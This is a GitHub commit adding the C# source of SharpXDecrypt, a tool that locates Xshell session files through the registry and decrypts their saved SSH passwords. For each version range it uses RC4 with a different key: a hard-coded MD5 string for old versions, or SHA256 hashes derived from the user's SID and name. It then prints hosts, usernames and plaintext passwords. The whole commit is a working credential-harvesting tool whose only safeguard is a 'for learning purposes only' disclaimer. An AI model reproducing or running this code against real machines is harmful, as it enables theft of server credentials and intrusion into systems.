Skip to content

Commit 82f7dc0

Browse files
0pen10pen1
committed
第一次提交
1 parent e054768 commit 82f7dc0

File tree

4 files changed

+343
-0
lines changed

4 files changed

+343
-0
lines changed

‎C#/Program.cs

+36
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
using Microsoft.Win32;
2+
using System;
3+
using System.Collections.Generic;
4+
using System.DirectoryServices;
5+
using System.IO;
6+
using System.Linq;
7+
using System.Security.AccessControl;
8+
using System.Security.Cryptography;
9+
using System.Security.Principal;
10+
using System.Text;
11+
12+
namespace SharpXDecrypt
13+
{
14+
class Program
15+
{
16+
static void Main(string[] args)
17+
{
18+
Console.WriteLine();
19+
Console.WriteLine("Xshell全版本凭证一键导出工具!(支持Xshell 7.0+版本)");
20+
Console.WriteLine("Author: 0pen1");
21+
Console.WriteLine("Github: https://github.com/JDArmy");
22+
Console.WriteLine("[!] WARNING: For learning purposes only,please delete it within 24 hours after downloading!");
23+
Console.WriteLine();
24+
XDecrypt();
25+
Console.WriteLine("[*] read done!");
26+
}
27+
28+
public static void XDecrypt()
29+
{
30+
31+
32+
XClass.Decrypt();
33+
}
34+
35+
}
36+
}

‎C#/RC4.cs

+50
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
using System;
2+
using System.Collections.Generic;
3+
using System.Linq;
4+
using System.Text;
5+
6+
namespace SharpXDecrypt
7+
{
8+
class RC4
9+
{
10+
public static byte[] Encrypt(byte[] pwd, byte[] data)
11+
{
12+
int[] array = new int[256];
13+
int[] array2 = new int[256];
14+
byte[] array3 = new byte[data.Length];
15+
int i;
16+
for (i = 0; i < 256; i++)
17+
{
18+
array[i] = pwd[i % pwd.Length];
19+
array2[i] = i;
20+
}
21+
int num = i = 0;
22+
for (; i < 256; i++)
23+
{
24+
num = (num + array2[i] + array[i]) % 256;
25+
int num2 = array2[i];
26+
array2[i] = array2[num];
27+
array2[num] = num2;
28+
}
29+
int num3 = num = (i = 0);
30+
for (; i < data.Length; i++)
31+
{
32+
num3++;
33+
num3 %= 256;
34+
num += array2[num3];
35+
num %= 256;
36+
int num2 = array2[num3];
37+
array2[num3] = array2[num];
38+
array2[num] = num2;
39+
int num4 = array2[(array2[num3] + array2[num]) % 256];
40+
array3[i] = (byte)(data[i] ^ num4);
41+
}
42+
return array3;
43+
}
44+
45+
public static byte[] Decrypt(byte[] pwd, byte[] data)
46+
{
47+
return Encrypt(pwd, data);
48+
}
49+
}
50+
}

‎C#/Utils.cs

+33
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
using System;
2+
using System.Collections.Generic;
3+
using System.DirectoryServices;
4+
using System.IO;
5+
using System.Linq;
6+
using System.Security.AccessControl;
7+
using System.Security.Principal;
8+
using System.Text;
9+
10+
namespace SharpXDecrypt
11+
{
12+
class Utils
13+
{
14+
public struct UserSID
15+
{
16+
public string Name;
17+
public string SID;
18+
}
19+
public static UserSID GetUserSID()
20+
{
21+
UserSID userSID;
22+
Console.WriteLine("[*] Start GetUserSID....");
23+
WindowsIdentity current = WindowsIdentity.GetCurrent();
24+
userSID.Name = current.Name.ToString().Split('\\')[1];
25+
userSID.SID = current.User.ToString();
26+
Console.WriteLine(" Username: " + userSID.Name);
27+
Console.WriteLine(" userSID: " + userSID.SID);
28+
Console.WriteLine("[*] GetUserSID Success !");
29+
Console.WriteLine();
30+
return userSID;
31+
}
32+
}
33+
}

‎C#/XClass.cs

+224
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,224 @@
1+
using Microsoft.Win32;
2+
using System;
3+
using System.Collections.Generic;
4+
using System.IO;
5+
using System.Linq;
6+
using System.Security.Cryptography;
7+
using System.Text;
8+
9+
namespace SharpXDecrypt
10+
{
11+
class XClass
12+
{
13+
public struct Xsh
14+
{
15+
public string host;
16+
public string userName;
17+
public string password;
18+
public string encryptPw;
19+
public string version;
20+
}
21+
static private Boolean enableMaterPasswd = false;
22+
static private string hashMasterPasswd = null;
23+
public static Boolean Decrypt()
24+
{
25+
List<string> userDataPaths = GetUserDataPath();
26+
Utils.UserSID userSID = Utils.GetUserSID();
27+
foreach (string userDataPath in userDataPaths)
28+
{
29+
CheckMasterPw(userDataPath);
30+
List<string> xshPathList = EnumXshPath(userDataPath);
31+
foreach (string xshPath in xshPathList)
32+
{
33+
Xsh xsh = XSHParser(xshPath);
34+
if (xsh.encryptPw != null)
35+
{
36+
Console.WriteLine(" XSHPath: " + xshPath);
37+
xsh.password = Xdecrypt(xsh, userSID);
38+
Console.WriteLine(" Host: " + xsh.host);
39+
Console.WriteLine(" UserName: " + xsh.userName);
40+
Console.WriteLine(" Password: " + xsh.password);
41+
Console.WriteLine(" Version: " + xsh.version);
42+
Console.WriteLine();
43+
}
44+
}
45+
}
46+
return true;
47+
}
48+
public static string Xdecrypt(Xsh xsh, Utils.UserSID userSID)
49+
{
50+
string password = null;
51+
if (!enableMaterPasswd)
52+
{
53+
if (xsh.version.StartsWith("5.0") || xsh.version.StartsWith("4") || xsh.version.StartsWith("3") || xsh.version.StartsWith("2"))
54+
{
55+
byte[] data = Convert.FromBase64String(xsh.encryptPw);
56+
byte[] Key = new MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes("!X@s#h$e%l^l&"));
57+
byte[] passData = new byte[data.Length - 0x20];
58+
Array.Copy(data, 0, passData, 0, data.Length - 0x20);
59+
byte[] decrypted = RC4.Decrypt(Key, passData);
60+
password = Encoding.ASCII.GetString(decrypted);
61+
}
62+
else if (xsh.version.StartsWith("5.1") || xsh.version.StartsWith("5.2"))
63+
{
64+
byte[] data = Convert.FromBase64String(xsh.encryptPw);
65+
byte[] Key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(userSID.SID));
66+
byte[] passData = new byte[data.Length - 0x20];
67+
Array.Copy(data, 0, passData, 0, data.Length - 0x20);
68+
byte[] decrypted = RC4.Decrypt(Key, passData);
69+
password = Encoding.ASCII.GetString(decrypted);
70+
}
71+
else if (xsh.version.StartsWith("5") || xsh.version.StartsWith("6"))
72+
{
73+
byte[] data = Convert.FromBase64String(xsh.encryptPw);
74+
byte[] Key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(userSID.Name + userSID.SID));
75+
byte[] passData = new byte[data.Length - 0x20];
76+
Array.Copy(data, 0, passData, 0, data.Length - 0x20);
77+
byte[] decrypted = RC4.Decrypt(Key, passData);
78+
password = Encoding.ASCII.GetString(decrypted);
79+
}else if (xsh.version.StartsWith("7"))
80+
{
81+
string strkey1 = new string(userSID.Name.ToCharArray().Reverse().ToArray()) + userSID.SID;
82+
string strkey2 = new string(strkey1.ToCharArray().Reverse().ToArray());
83+
byte[] data = Convert.FromBase64String(xsh.encryptPw);
84+
byte[] Key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(strkey2));
85+
byte[] passData = new byte[data.Length - 0x20];
86+
Array.Copy(data, 0, passData, 0, data.Length - 0x20);
87+
byte[] decrypted = RC4.Decrypt(Key, passData);
88+
password = Encoding.ASCII.GetString(decrypted);
89+
}
90+
}
91+
else
92+
{
93+
Console.WriteLine(" MasterPassword Enable !");
94+
}
95+
return password;
96+
}
97+
98+
public static void DecryptMasterPw()
99+
{
100+
101+
}
102+
public static Xsh XSHParser(string xshPath)
103+
{
104+
Xsh xsh;
105+
xsh.host = null;
106+
xsh.userName = null;
107+
xsh.password = null;
108+
xsh.version = null;
109+
xsh.encryptPw = null;
110+
using (StreamReader sr = new StreamReader(xshPath))
111+
{
112+
string rawPass;
113+
while ((rawPass = sr.ReadLine()) != null)
114+
{
115+
if (System.Text.RegularExpressions.Regex.IsMatch(rawPass, @"Host=(.*?)"))
116+
{
117+
xsh.host = rawPass.Replace("Host=", "");
118+
}
119+
if (System.Text.RegularExpressions.Regex.IsMatch(rawPass, @"Password=(.*?)"))
120+
{
121+
rawPass = rawPass.Replace("Password=", "");
122+
rawPass = rawPass.Replace("\r\n", "");
123+
if (rawPass.Equals(""))
124+
{
125+
continue;
126+
}
127+
xsh.encryptPw = rawPass;
128+
}
129+
if (System.Text.RegularExpressions.Regex.IsMatch(rawPass, @"UserName=(.*?)"))
130+
{
131+
xsh.userName = rawPass.Replace("UserName=", "");
132+
}
133+
if (System.Text.RegularExpressions.Regex.IsMatch(rawPass, @"Version=(.*?)"))
134+
{
135+
xsh.version = rawPass.Replace("Version=", "");
136+
}
137+
}
138+
}
139+
return xsh;
140+
}
141+
142+
143+
public static List<string> EnumXshPath(string userDataPath)
144+
{
145+
List<string> xshPathList = new List<string>();
146+
string sessionsPath = userDataPath + "\\Xshell\\Sessions";
147+
if (Directory.Exists(sessionsPath))//判断是否存在
148+
{
149+
DirectoryInfo directoryInfo = new DirectoryInfo(sessionsPath);
150+
FileInfo[] files = directoryInfo.GetFiles();
151+
foreach (FileInfo fileInfo in files)
152+
{
153+
string name = fileInfo.Name;
154+
if (fileInfo.Extension.Equals(".xsh"))
155+
{
156+
string sessionPath = sessionsPath + "\\" + name;
157+
xshPathList.Add(sessionPath);
158+
}
159+
}
160+
}
161+
return xshPathList;
162+
}
163+
public static List<string> GetUserDataPath()
164+
{
165+
Console.WriteLine("[*] Start GetUserPath....");
166+
List<string> userDataPath = new List<string>();
167+
string strRegPath = @"Software\\NetSarang\\Common";
168+
RegistryKey regRootKey;
169+
RegistryKey regSubKey;
170+
regRootKey = Registry.CurrentUser;
171+
regSubKey = regRootKey.OpenSubKey(strRegPath);
172+
foreach (string version in regSubKey.GetSubKeyNames())
173+
{
174+
if (!version.Equals("LiveUpdate"))
175+
{
176+
string strUserDataRegPath = strRegPath + "\\" + version + "\\UserData";
177+
regSubKey = regRootKey.OpenSubKey(strUserDataRegPath);
178+
Console.WriteLine(" UserPath: " + regSubKey.GetValue("UserDataPath"));
179+
userDataPath.Add(regSubKey.GetValue("UserDataPath").ToString());
180+
}
181+
}
182+
regSubKey.Close();
183+
regRootKey.Close();
184+
Console.WriteLine("[*] Get UserPath Success !");
185+
Console.WriteLine();
186+
return userDataPath;
187+
}
188+
public static void CheckMasterPw(string userDataPath)
189+
{
190+
string masterPwPath = userDataPath + "\\common\\MasterPassword.mpw";
191+
using (StreamReader sr = new StreamReader(masterPwPath))
192+
{
193+
string rawPass;
194+
while ((rawPass = sr.ReadLine()) != null)
195+
{
196+
if (System.Text.RegularExpressions.Regex.IsMatch(rawPass, @"EnblMasterPasswd=(.*?)"))
197+
{
198+
rawPass = rawPass.Replace("EnblMasterPasswd=", "");
199+
if (rawPass.Equals("1"))
200+
{
201+
enableMaterPasswd = true;
202+
}
203+
else
204+
{
205+
enableMaterPasswd = false;
206+
}
207+
}
208+
if (System.Text.RegularExpressions.Regex.IsMatch(rawPass, @"HashMasterPasswd=(.*?)"))
209+
{
210+
rawPass = rawPass.Replace("HashMasterPasswd=", "");
211+
if (rawPass.Length > 1)
212+
{
213+
hashMasterPasswd = rawPass;
214+
}
215+
else
216+
{
217+
hashMasterPasswd = null;
218+
}
219+
}
220+
}
221+
}
222+
}
223+
}
224+
}

0 commit comments

Comments
 (0)